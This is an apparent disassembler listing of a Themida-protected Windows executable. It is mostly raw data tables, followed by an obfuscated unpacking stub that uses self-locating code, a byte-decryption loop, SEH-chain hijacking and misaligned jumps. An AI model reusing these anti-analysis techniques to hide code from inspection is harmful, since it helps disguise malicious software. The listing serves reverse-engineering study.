		dd 0A0990000h, 77E7h, 0Bh dup(0)
		dd 7C0000h, 2 dup(0)
		dd 0FDD70000h, 0DF9B0000h, 59B3FFA5h, 7CC80059h, 3012h
		dd 0Bh dup(0)
		dd 0D6760000h, 0E8AEh, 5 dup(0)
		dd 20000h, 0
		dd 1A1A0000h, 0FFA5h, 8EB0000h,	594Ch, 5 dup(0)
		dd 86480000h, 57h, 0
		dd 0B5E20000h, 8A0Fh, 2	dup(0)
		dd 0F5590000h, 6E36h, 5	dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 7B710000h, 2A94h, 71BB0000h,	1005Ah,	3 dup(0)
dword_53E920	dd 0EBB30000h, 77F7h, 29h dup(0)
		dd 9F040000h, 0FFFFh, 3	dup(0)
		dd 36500000h, 840058h, 69210000h, 57h, 2 dup(0)
		dd 0A9A0000h, 2F390000h, 39FBh,	0
		dd 5CB50000h, 77E7h, 4 dup(0)
		dd 0FBF60000h, 77FFh, 4	dup(0)
		dd 11110000h, 1111h, 3 dup(0)
		dd 7D840000h, 30C7h, 4 dup(0)
		dd 66A80000h, 0B5E20000h, 94998A0Fh, 0A0h, 2 dup(0)
		dd 0C8620000h, 6EA4h, 25Ch, 6 dup(0)
		dd 980000h, 0A00F0000h,	0A0h, 3	dup(0)
		dd 3040000h, 7FFEh, 68540000h, 64696D65h, 61h, 1Dh dup(0)
		dd 0B7h, 87DA0000h, 5Ah, 3 dup(0)
		dd 72DF0000h, 5DBh, 0AF9A0000h,	0AB06h,	2 dup(0)
		dd 0E2BE0000h, 370F22Fh, 0CB97h, 5 dup(0)
		dd 37260000h, 5Bh, 0
		dd 61090000h, 58h, 7 dup(0)
		dd 60000h, 3 dup(0)
		dd 3040000h, 7FFEh, 728E0000h, 5Ah, 2 dup(0)
		dd 0A13F0000h, 0B69F77E7h, 59h,	0
		dd 72DF0000h, 5DBh, 2 dup(0)
		dd 15C30000h, 59h, 3040000h, 7FFEh, 7 dup(0)
		dd 0BFFD0000h, 0FF7C8FBDh, 0FFFFh, 3 dup(0)
		dd 50420000h, 0B1340057h, 0A2h,	0
		dd 9D000000h, 3	dup(0)
		dd 3E680000h, 77E8h, 8EC80000h,	58h, 0
		dd 50000h, 3 dup(0)
		dd 0FF540000h, 12h, 4 dup(0)
		dd 33330000h, 2	dup(33333333h),	7C303333h, 5952h, 25Ah
		dd 37260000h, 5Bh, 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh
		dd 8Ah dup(0)
		dd 0CDCE0000h, 0E09Fh, 2 dup(0)
		dd 152F0000h, 2	dup(0)
		dd 0DCB60000h, 0FFEBh, 5A2B0000h, 0B2h,	1E840000h, 57h
		dd 3 dup(0)
		dd 9F6C0000h, 0FFFFh, 2	dup(0)
		dd 0B1AB0000h, 9C00ACh,	3 dup(0)
		dd 0A4C40000h, 0FFFFh, 6 dup(0)
		dd 0CDE10000h, 3 dup(0)
		dd 0C4860000h, 77E7h, 0
		dd 4CA80000h, 59h, 5 dup(0)
		dd 1D870000h, 59h, 390000h, 0
		dd 30DF0000h, 0
		dd 65830000h, 5Ah, 3 dup(0)
		dd 61090000h, 59EC0058h, 59h, 230000h, 4 dup(0)
		dd 0D9DB0000h, 58h, 0B5E20000h,	52F00000h, 0E0000058h
		dd 4Dh,	0
		dd 0D3400000h, 7826h, 6	dup(0)
		dd 66100000h, 2	dup(0)
		dd 19860000h, 12540054h, 77F5h,	5B1B0000h, 5116h, 0Bh dup(0)
		dd 0F52B0000h, 9CD6h, 3	dup(0)
		dd 50420000h, 57h, 4 dup(0)
		dd 69DD0000h, 0A0h, 11E40000h, 5201h, 13h dup(0)
		dd 208D0000h, 5Ah, 0C1E20000h, 1, 3 dup(0)
		dd offset asc_5C0000	; "ллллллллллллллллллллллллллллллллллллллл"...
		dd 0FF05h, 6CB80000h, 241h, 6 dup(0)
		dd 234A0000h, 2	dup(0)
		dd 0B5E20000h, 8A0Fh, 0BAh dup(0)
		dd 0A5FD0000h, 77E7h, 4	dup(0)
		dd 0A5FE0000h, 77E7h, 5	dup(0)
		dd 198A0000h, 0A1FE0054h, 100B0h, 0
		dd 99650000h, 0Bh dup(0)
		dd 7D10000h, 5 dup(0)
		dd 423C0000h, 774Fh, 0
		dd 8AB70000h, 5Ah, 0
		dd 711F0000h, 5Ah, 0
		dd 0A1440000h, 77E7h, 0
		dd 0F3E10000h, 1ABh, 21560000h,	59h, 6 dup(0)
		dd 10000h, 5060000h, 45CAh, 66A80000h, 72DF0000h, 661005DBh
		dd 0
		dd 0C96A0000h, 0EBAD77D4h, 0CF8Fh, 0
		dd 0A9A0000h, 53h, 5 dup(0)
		dd 0B1AB0000h, 0ACh, 86480000h,	0FF540057h, 12h, 63h dup(0)
		dd 71BB0000h, 5Ah, 3 dup(0)
		dd 0B00000h, 48E90000h,	0FFC40001h, 12h, 5 dup(0)
		dd 238A0000h, 8C0A0059h, 0A0h, 0
		dd 12A10000h, 9C370058h, 0A0h, 0EBE70000h, 0B45D7FFEh
		dd 0B2E1h, 77DDh, 3 dup(0)
		dd 92740000h, 56h, 0
		dd 59740000h, 8655h, 0
		dd 0D55F0000h, 2, 7B370000h, 131Bh, 0
		dd 92340000h, 0A0h, 900000h, 2 dup(0)
		dd 19E0000h, 54h, 4 dup(0)
		dd 0FFFF0000h, 0FFFFh, 6 dup(0)
		dd 9F70000h, 0ECAA00A0h, 56h, 5	dup(0)
		dd 50680000h, 4E3F0058h, 5Bh, 4	dup(0)
		dd 66A80000h, 2	dup(0)
		dd 0A00F0000h, 0A0h, 72FB0000h,	5Bh, 2 dup(0)
		dd 5CCC0000h, 8001h, 2 dup(0)
		dd 20DD0000h, 8CAA029Ch, 0AC0FE36h, 0FE62A4Ah, 2629009Fh
		dd 59h,	4 dup(0)
		dd 0D9840000h, 0BF5F1F3Ah, 78FDh, 3040000h, 237FFEh, 6 dup(0)
		dd 7AC60000h, 7B7E009Fh, 3D31h,	2 dup(0)
		dd 2FE80000h, 8DCC77E8h, 6610FFFFh, 0
		dd 4FEB0000h, 59h, 0
		dd 1B400000h, 76B4h, 0FE620000h, 0FFFFh, 7 dup(0)
		dd 313D0000h, 49DEh, 9 dup(0)
		dd 0F59F0000h, 235D0053h, 7FA7h, 0
		dd 0ECAA0000h, 56h, 2 dup(0)
		dd 0D6E20000h, 0EBB9E010h, 0DD84h, 0
		dd 0A5E70000h, 0A4h, 0
		dd 929E0000h, 87BEh, 0
		dd 35320000h, 145Ch, 0
		dd 10000h, 3 dup(0)
		dd 72DF0000h, 5DBh, 0DEA3028Fh,	0FFABh,	0C7670000h, 0B1CA00BCh
		dd 0AEh, 5 dup(0)
		dd 0FF660000h, 53h, 8 dup(0)
		dd 241h, 5 dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	16h dup(0)
		dd 1F700000h, 8C0A0322h, 72DF00A0h, 8C6B05DBh, 0A0h, 941D0000h
		dd 56h,	72DF0000h, 5DBh, 3 dup(0)
		dd 0DC2E0000h, 4657h, 4	dup(0)
		dd 2B0000h, 3 dup(0)
		dd 9FE20000h, 0A4F9h, 2	dup(0)
		dd 47EA0000h, 0FFFFh, 8D530000h, 11E400A4h, 5201h, 4 dup(0)
		dd 940000h, 5 dup(0)
		dd 8D690000h, 10009A30h, 3040000h, 7FFEh, 0A00F0000h, 0A0h
		dd 0
		dd 8F290000h, 0AAA80887h, 5Ah, 0
		dd 26350000h, 54h, 5 dup(0)
		dd 59F00000h, 77DDh, 2 dup(0)
		dd 6DE00000h, 0D3FEh, 5	dup(0)
		dd 0E1870000h, 600057h,	2 dup(0)
		dd 71490000h, 0F0E1h, 2	dup(0)
		dd 190000h, 0C6520000h,	5348h, 0
		dd 698D0000h, 0DBD60171h, 6F28h, 0
		dd 9920000h, 0BED4150Dh, 5Ah, 0Fh dup(0)
		dd 2290000h, 0FFFFh, 8D8D0000h,	9A30h, 0Bh dup(0)
		dd 0EF9D0000h, 3EBEh, 5	dup(0)
		dd 20000h, 3 dup(0)
		dd 0A1C50000h, 5CB50058h, 77E7h, 3040000h, 7FFEh, 5 dup(0)
		dd 9DF10000h, 3E5Eh, 2 dup(0)
		dd 0AE000000h, 2 dup(0)
		dd 6180000h, 2D3A77E8h,	0FD98h,	30h dup(0)
		dd 3040000h, 0A47FFEh, 3E5F0000h, 2B1Fh, 0
		dd 46DD0000h, 7A32h, 9B340000h,	0FFFFh,	0
		dd 728D0000h, 52170590h, 3 dup(0)
		dd 3040000h, 7FFEh, 4 dup(0)
		dd 0FFFC0000h, 8001h, 0Ch dup(0)
		dd 0FA440000h, 0FFA7h, 17h dup(0)
		dd 58680000h, 564Dh, 230000h, 57h, 6 dup(0)
		dd 0A9A0000h, 9C380053h, 7316FFFFh, 0A2h, 42F90000h, 9D5B16FBh
		dd 77E7h, 3 dup(0)
		dd 0FFD50000h, 2FE8FFFFh, 77E8h, 0
		dd 11E40000h, 5201h, 0FFFF0000h, 0FFFFh, 0B5E20000h, 0FFE08A0Fh
		dd 12h,	2 dup(0)
		dd 0BFF80000h, 0FFFFh, 230000h,	2 dup(0)
		dd 0A5360000h, 0E8E73276h, 32680056h, 0A1h, 140000h, 0D2000Eh
		dd 7 dup(0)
		dd 7B360000h, 0B69F0059h, 59h, 2 dup(0)
		dd 8B820000h, 77E7h, 4 dup(0)
		dd 99950000h, 0A4h, 6 dup(0)
		dd 1C450000h, 99C2h, 0
		dd 66990000h, 17470000h, 59h, 7	dup(0)
		dd 10000h, 0
		dd 3040000h, 3A437FFEh,	4E49575Ch, 53574F44h, 7379535Ch
		dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0)
		dd 0D70A0000h, 0FFA5h, 40000h, 2 dup(0)
		dd 79630000h, 77E7h, 0EC5E0000h, 2 dup(0)
		dd 21470000h, 57h, 0
		dd 5EB90000h, 58h, 6C1B0000h, 13FF5h, 5	dup(0)
		dd 0FE620000h, 0FFABh, 2 dup(0)
		dd 66100000h, 9A660000h, 5Ah, 0
		dd 3BC0000h, 9 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 59560000h, 33480059h, 1FDAh,	3 dup(0)
		dd 66A80000h, 4	dup(0)
		dd 10000h, 3B5C8018h, 6399005Ah, 388Ah,	0DF390000h, 0E5E3h
		dd 0A18D0000h, 6850h, 0
		dd 92740000h, 35B0056h,	5 dup(0)
		dd 0FFB00000h, 2B0h, 2 dup(0)
		dd 5E2E0000h, 0A0h, 3 dup(0)
		dd 40h,	2 dup(0)
		dd 0C0000h, 241h, 8 dup(0)
		dd 77E6h, 6 dup(0)
		dd 0C8620000h, 6EA4h, 0
		dd 3040000h, 7FFEh, 0
		dd 4, 9B780000h, 845Dh,	0
		dd 199B0000h, 50Ch, 0
		dd 69DD0000h, 0E57F00A0h, 5D9h,	4 dup(0)
		dd 40000h, 0C8620000h, 6EA4h, 6	dup(0)
		dd 0CDC60000h, 24240057h, 2424h, 15h dup(0)
		dd 31EC0000h, 43C8h, 0Bh dup(0)
		dd 30DF0000h, 0A9C5h, 6	dup(0)
		dd 9B0E0000h, 7FD80057h, 0A2h, 0C48A0000h, 0
		dd 72DF0000h, 5DBh, 0Dh	dup(0)
		dd 0A0090000h, 180B0000h, 77F5h, 10000h, 0
		dd 0B5E20000h, 8A0Fh, 0
		dd 6BC60000h, 0BAC0h, 92FF0000h, 0FFA8h, 0
		dd 0FFDD0000h, 0FFABh, 0A20000h, 0
		dd 0FCFC0000h, 8001h, 3040000h,	7FFEh, 5 dup(0)
		dd 10000000h, 40h, 0
		dd 2A440000h, 0B1Bh, 8 dup(0)
		dd 0FA560000h, 0A0h, 2 dup(0)
		dd 0AC5E0000h, 0C63E77E7h, 2F13h, 2 dup(0)
		dd 728D0000h, 1092h, 2 dup(0)
		dd 4D4E0000h, 52F0005Ah, 58h, 5	dup(0)
		dd 0F6820000h, 2991EEC8h, 5FF10054h, 0FF5Fh, 2 dup(0)
		dd 0FF660000h, 53h, 2 dup(0)
		dd 10000h, 0
		dd 0F80000h, 77E6h, 5 dup(0)
		dd 0FFFA0000h, 0FFBFh, 4 dup(0)
		dd 36360000h, 3636h, 4 dup(0)
		dd 8B820000h, 77E7h, 0
		dd 4A0B0000h, 191Fh, 7 dup(0)
		dd 211F0000h, 57h, 0
		dd 23E80000h, 8E3000A1h, 0FFFFh, 3040000h, 7FFEh, 2Ch dup(0)
		dd 93BF0000h, 56h, 0
		dd 230000h, 0E800057h, 0
		dd 880000h, 2 dup(0)
		dd 1050000h, 0A28h, 92740000h, 56h, 5 dup(0)
		dd 1FEF0000h, 57h, 0
		dd 0EEAC0000h, 6CF22Dh,	0
		dd 0EED40000h, 5EAh, 14h dup(0)
		dd 0FFF00000h, 12h, 99080000h, 0FFFFh, 2 dup(0)
		dd 8EA50000h, 97Dh, 7 dup(0)
		dd 43F80000h, 16FBh, 93BF0000h,	40056h,	6B60000h, 0
		dd 0EA460000h, 0FE82h, 3 dup(0)
		dd 0F59E0000h, 53h, 6 dup(0)
		dd 3E4D0000h, 0D706FF95h, 77E6h, 6 dup(0)
		dd 0AC0000h, 5 dup(0)
		dd 3A00000h, 30000h, 4 dup(0)
		dd 0EA3D0000h, 0FFA6h, 2 dup(0)
		dd 79B80000h, 0FFA8h, 7B360000h, 59h, 4	dup(0)
		dd 0F5590000h, 6E36h, 12h dup(0)
		dd 2BDE0000h, 0C08B0000h, 6861h, 5 dup(0)
		dd 0D7020000h, 8056h, 0
		dd 0D0000000h, 0Dh, 2 dup(0)
		dd 10000h, 26290000h, 2	dup(0)
		dd 34300000h, 0EC5E312Dh, 57h, 4 dup(0)
		dd 72DF0000h, 5DBh, 48E90000h, 1, 7 dup(0)
		dd 360C0000h, 77E8h, 3 dup(0)
		dd 5FF10000h, 0FF5Fh, 2	dup(0)
		dd 0B5E20000h, 8A0Fh, 0FA2E0000h, 53h, 5 dup(0)
		dd 520F0000h, 59h, 66A80000h, 4	dup(0)
		dd 8DC80000h, 0FFFFh, 0FFB00000h, 150h,	6 dup(0)
		dd 50680000h, 58h, 2 dup(0)
		dd 19E0000h, 2,	4 dup(0)
		dd 0B0620000h, 0B52Fh, 7 dup(0)
		dd 140B0000h, 5Bh, 0
		dd 8100000h, 8 dup(0)
		dd 0A3360000h, 24F6h, 6	dup(0)
		dd 700000h, 5 dup(0)
		dd 10000h, 0A9A0000h, 9Fh, 0A4960000h, 32B3h, 0
		dd 1A070000h, 0A6E900AEh, 77EBh, 2 dup(0)
		dd 93930000h, 0A86300A0h, 0FFFFh, 4 dup(0)
		dd 800000h, 0
		dd 0F5590000h, 6E36h, 5	dup(0)
		dd 93EF0000h, 77E7h, 4 dup(0)
		dd 0FFB00000h, 200h, 0
		dd 0A9A0000h, 9Fh, 5 dup(0)
		dd 0B5E20000h, 6 dup(0)
aWnn0		db 'тw██0 ',0
		align 4
		dd 0
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 5ECC0000h, 77DDh, 37260000h,	5Bh, 6 dup(0)
		dd 86480000h, 57h, 0
		dd 66A80000h, 0F6F40000h, 0B6F08005h, 0AEh, 3 dup(0)
		dd 13A80000h, 0CE55h, 0
		dd 0FFFF0000h, 0FFFFh, 0
		dd 40950000h, 58h, 0
		dd 0A80000h, 4 dup(0)
		dd 1B2B0000h, 77F5h, 1E9E0000h,	57h, 2 dup(0)
		dd 5D80000h, 238A77E8h,	59h, 2 dup(0)
		dd 82000000h, 0B592h, 0B0E90000h, 7 dup(0)
		dd 9C380000h, 0FFFFh, 0Ah dup(0)
		dd 0F80000h, 0BFh, 2 dup(0)
		dd 3040000h, 7FFEh, 0Ah	dup(0)
		dd 0A1440000h, 8F0877E7h, 0A00FFFFFh, 0AC9F00A0h, 7B33h
		dd 0B1680000h, 9Fh, 4 dup(0)
		dd 7CC80000h, 3012h, 0
		dd 80A30000h, 0CDA6h, 2	dup(0)
		dd 0A00F0000h, 0A0h, 2 dup(0)
		dd 412F0000h, 0A0h, 2 dup(0)
		dd 0B2110000h, 0A0h, 0Bh dup(0)
		dd 72DF0000h, 865A05DBh, 5AFE0057h, 5Ah, 2 dup(0)
		dd 0A0370000h, 0A0h, 7 dup(0)
		dd 46440000h, 7FF2h, 0
		dd 14340000h, 6	dup(0)
		dd 38680000h, 3	dup(0)
		dd 780000h, 4 dup(0)
		dd 0A29C0000h, 0B630h, 0
		dd 1BF70000h, 84960109h, 5 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0FFA40000h, 12h, 4 dup(0)
		dd 7F5D0000h, 21683259h, 77E8h,	0
		dd 3E680000h, 229277E8h, 6B7000A0h, 3, 0Ah dup(0)
		dd 39060000h, 0B44h, 2 dup(0)
		dd 0BD50000h, 28Fh, 93BE0000h, 56h, 4 dup(0)
		dd 0FDFD0000h, 9A31h, 3	dup(0)
		dd 4490000h, 0A0h, 0D20000h, 0
		dd 9Fh,	8C0000h, 0E50000h, 0
		dd 69DD0000h, 0A0h, 9C340000h, 4 dup(0)
		dd 0CAB70000h, 0FFA6h, 2 dup(0)
		dd 0FF660000h, 53h, 5 dup(0)
		dd 2BDE0000h, 0A0h, 30DF0000h, 0A1h, 8 dup(0)
		dd 0BAEE0000h, 10000573h, 1C1001Ch, 0FC6Bh, 2 dup(0)
		dd 6400000h, 4C3h, 0Dh dup(0)
		dd 0C96A0000h, 69DD77D4h, 0A0h,	8D3D0000h, 2F7Eh, 3 dup(0)
		dd 0D20000h, 3 dup(0)
		dd 72DA0000h, 302Dh, 20000h, 9 dup(0)
		dd 7B360000h, 59h, 66A80000h, 8DFF0000h, 22220058h, 22222222h
		dd 2222h, 4 dup(0)
		dd 86480000h, 57h, 4 dup(0)
		dd 0A3450000h, 0FFA6h, 0FFFF0000h, 0FFFFh, 0Ch dup(0)
		dd 87480000h, 0F9F00057h, 0CD070057h, 0FFA7h, 5	dup(0)
		dd 66100000h, 2	dup(0)
		dd 77E6h, 7 dup(0)
		dd 0ADD90000h, 7F98h, 3	dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0EE80000h, 19h dup(0)
		dd 0FCFC0000h, 18001h, 4 dup(0)
		dd 42C20000h, 0B134h, 2	dup(0)
		dd 6F80000h, 0F02Eh, 0
		dd 0D5540000h, 9Fh, 8 dup(0)
		dd 6EE60000h, 215D8019h, 54h, 2	dup(0)
		dd 0C3F80000h, 5Ah, 3 dup(0)
		dd 3E0000h, 77FFh, 3040000h, 0C07FFEh, 48E90000h, 31450001h
		dd 0A0h, 4 dup(0)
		dd 0A00F0000h, 0A0h, 0
		dd 86480000h, 57h, 0
		dd 5AB30000h, 0D0DBh, 3E3B0000h, 0A0h, 0C8620000h, 6EA4h
		dd 2 dup(0)
		dd 63E90000h, 22E6h, 2 dup(0)
		dd 48E90000h, 1, 3 dup(0)
		dd 3C430000h, 0AFCFh, 0F80000h,	9Fh, 6 dup(0)
		dd 0A00F0000h, 3B76FFA8h, 0DDD0h, 8 dup(0)
		dd 25Bh, 3 dup(0)
		dd 65520000h, 72617473h, 70704174h, 6578652Eh, 4 dup(0)
		dd 21210000h, 2121h, 0
		dd 0FCFC0000h, 8001h, 6A620000h, 69DD442Ch, 0A0h, 4 dup(0)
		dd 9BAC0000h, 0A2h, 4 dup(0)
		dd 96CF0000h, 0FFA8h, 0
		dd 70C40000h, 6BD300A0h, 249h, 2 dup(0)
		dd 7FFF0000h, 0FFh, 25Ah, 0
		dd 7FED0000h, 747h, 2 dup(0)
		dd 3040000h, 7FFEh, 23h	dup(0)
		dd 10000h, 6 dup(0)
		dd 0BA0000h, 2 dup(0)
		dd 6E800000h, 99AD0000h, 77FBh,	7 dup(0)
		dd 86480000h, 57h, 3 dup(0)
		dd 0A00F0000h, 0FFA8h, 4 dup(0)
		dd 99290000h, 0FFA5h, 3040000h,	7FFEh, 3 dup(0)
		dd 1A070000h, 0AEh, 230000h, 57h, 6 dup(0)
		dd 66A80000h, 9	dup(0)
		dd 0AC0000h, 0FFEDh, 4 dup(0)
		dd 0FF540000h, 12h, 2 dup(0)
		dd 0B00000h, 3 dup(0)
		dd 5D277F5h, 54h, 3 dup(0)
		dd 2BCF0000h, 8AFB144Fh, 3ECAh,	0A0440000h, 0FFFFh, 28F60000h
		dd 5Ah,	259h, 7FE80000h, 3, 5 dup(0)
		dd 915B0000h, 30400A0h,	7FFEh, 3040000h, 887FFEh, 2Dh dup(0)
		dd 0E530000h, 0FFA5h, 763E0000h, 5Ah, 93930000h, 0A0h
		dd 0
		dd 0DBB90000h, 0FFA7h, 7Fh dup(0)
		dd 92740000h, 0C6000056h, 3, 0E8E70000h, 2 dup(0)
		dd 5EA40000h, 58h, 0
		dd 35A90000h, 58h, 3 dup(0)
		dd offset loc_410000
		dd 8020h, 2 dup(0)
		dd 10000h, 5 dup(0)
		dd 23D70000h, 77DDh, 6 dup(0)
		dd 90000000h, 3, 8 dup(0)
		dd 30DF0000h, 0A9C5h, 0
		dd 12A10000h, 58h, 0Ah dup(0)
		dd 740000h, 3 dup(0)
		dd 0AEh, 0D2B40000h, 1D1h, 2 dup(0)
		dd 19E0000h, 54h, 3 dup(0)
		dd 189A0000h, 77DDh, 0
		dd 1568894Ch, 0AA9000A1h, 5 dup(0)
		dd 0DCB60000h, 0FFEBh, 2 dup(0)
		dd 0E80000h, 0A00000h, 56430000h, 0
		dd 72DF0000h, 5DBh, 69DD0000h, 0A0h, 2 dup(0)
		dd 3040000h, 7FFEh, 11h	dup(0)
		dd 6AD40000h, 64F8h, 0
		dd 0E99E0000h, 56h, 2 dup(0)
		dd 35150000h, 78B80059h, 0FFA8h, 4 dup(0)
		dd 72DF0000h, 5DBh, 0
		dd 2E0F0000h, 77F5h, 2 dup(0)
		dd 41400000h, 20F7FFA7h, 460057h, 2 dup(0)
		dd 0A7520000h, 0BED7h, 5 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_541AAA:				; CODE XREF: start:loc_53E7C9j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 5E432EBh
		mov	[ebp+5E40F79h],	edx
		mov	[ebp+5E41C65h],	esi
		mov	[ebp+5E41F85h],	eax
		cmp	dword ptr [ebp+5E40FA1h], 0
		jz	short loc_541AE2
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_541AE2:				; CODE XREF: start+61AC0j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+5E432A1h],	eax
		push	45h
		call	sub_541B96
		push	783749Ah
		call	sub_541BDC
		push	0A894B25h
		call	sub_541BDC
		jmp	loc_541D20
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_541B96	proc near		; CODE XREF: start+61ADAp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E433D9h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_541BB2:				; CODE XREF: sub_541B96+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_541BD1
		mov	eax, [ebp+arg_0]
		mov	[ebx+5E43343h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_541BB2
; ---------------------------------------------------------------------------


loc_541BD1:				; CODE XREF: sub_541B96+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_541B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_541BDC	proc near		; CODE XREF: start+61AE4p start+61AEEp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E43422h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_541C02:				; CODE XREF: sub_541BDC+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_541C02
		mov	[ebp+var_84], 0
		lea	edi, [edx+5E43343h]
		lea	esi, [ebp+var_80]


loc_541C32:				; CODE XREF: sub_541BDC+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_541C3E:				; CODE XREF: sub_541BDC+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_541C3E
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_541C32
		popa
		leave
		retn	4
sub_541BDC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_541C7C
; ---------------------------------------------------------------------------


loc_541C78:				; CODE XREF: Themida_:00541C7Fj
		inc	dword ptr [ebp-4]
		inc	esi


loc_541C7C:				; CODE XREF: Themida_:00541C76j
		cmp	byte ptr [esi],	0
		jnz	short loc_541C78
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_541D0D
; ---------------------------------------------------------------------------


loc_541C8E:				; CODE XREF: Themida_:00541D10j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_541D04
; ---------------------------------------------------------------------------


loc_541C97:				; CODE XREF: Themida_:00541D08j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_541CF1
; ---------------------------------------------------------------------------


loc_541CA7:				; CODE XREF: Themida_:00541CF5j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_541CC9
		cmp	bl, 39h
		ja	short loc_541CC9
		sub	bl, 30h
		jmp	short loc_541CEB
; ---------------------------------------------------------------------------


loc_541CC9:				; CODE XREF: Themida_:00541CBDj
					; Themida_:00541CC2j
		cmp	bl, 61h
		jb	short loc_541CDB
		cmp	bl, 66h
		ja	short loc_541CDB
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_541CEB
; ---------------------------------------------------------------------------


loc_541CDB:				; CODE XREF: Themida_:00541CCCj
					; Themida_:00541CD1j
		cmp	bl, 41h
		jb	short loc_541CEB
		cmp	bl, 46h
		ja	short loc_541CEB
		sub	bl, 41h
		add	bl, 0Ah


loc_541CEB:				; CODE XREF: Themida_:00541CC7j
					; Themida_:00541CD9j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_541CF1:				; CODE XREF: Themida_:00541CA5j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_541CA7
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_541D01
		mov	eax, [ebp-10h]
		stosb


loc_541D01:				; CODE XREF: Themida_:00541CFBj
		inc	dword ptr [ebp-8]


loc_541D04:				; CODE XREF: Themida_:00541C95j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_541C97
		add	edx, 4


loc_541D0D:				; CODE XREF: Themida_:00541C8Cj
		cmp	edx, [ebp-4]
		jb	loc_541C8E
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_541D20:				; CODE XREF: start+61AF3j
		mov	ecx, 7000h
		lea	edi, [ebp+5E43568h]


loc_541D2B:				; CODE XREF: start+61D1Bj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_541D2B
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+5E43685h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	edx
		mov	bx, 0E50Fh
		pop	ebx
		push	0
		push	edx
		call	sub_541D6D
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_541D6D	proc near		; CODE XREF: start+61D51p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_541D6D	endp

; ---------------------------------------------------------------------------
aIGgq		db '⌡зG┐Q╨!+б%',0
		dd 6AFFFFF0h, 3E85000h,	20000000h, 8958C358h, 81042444h
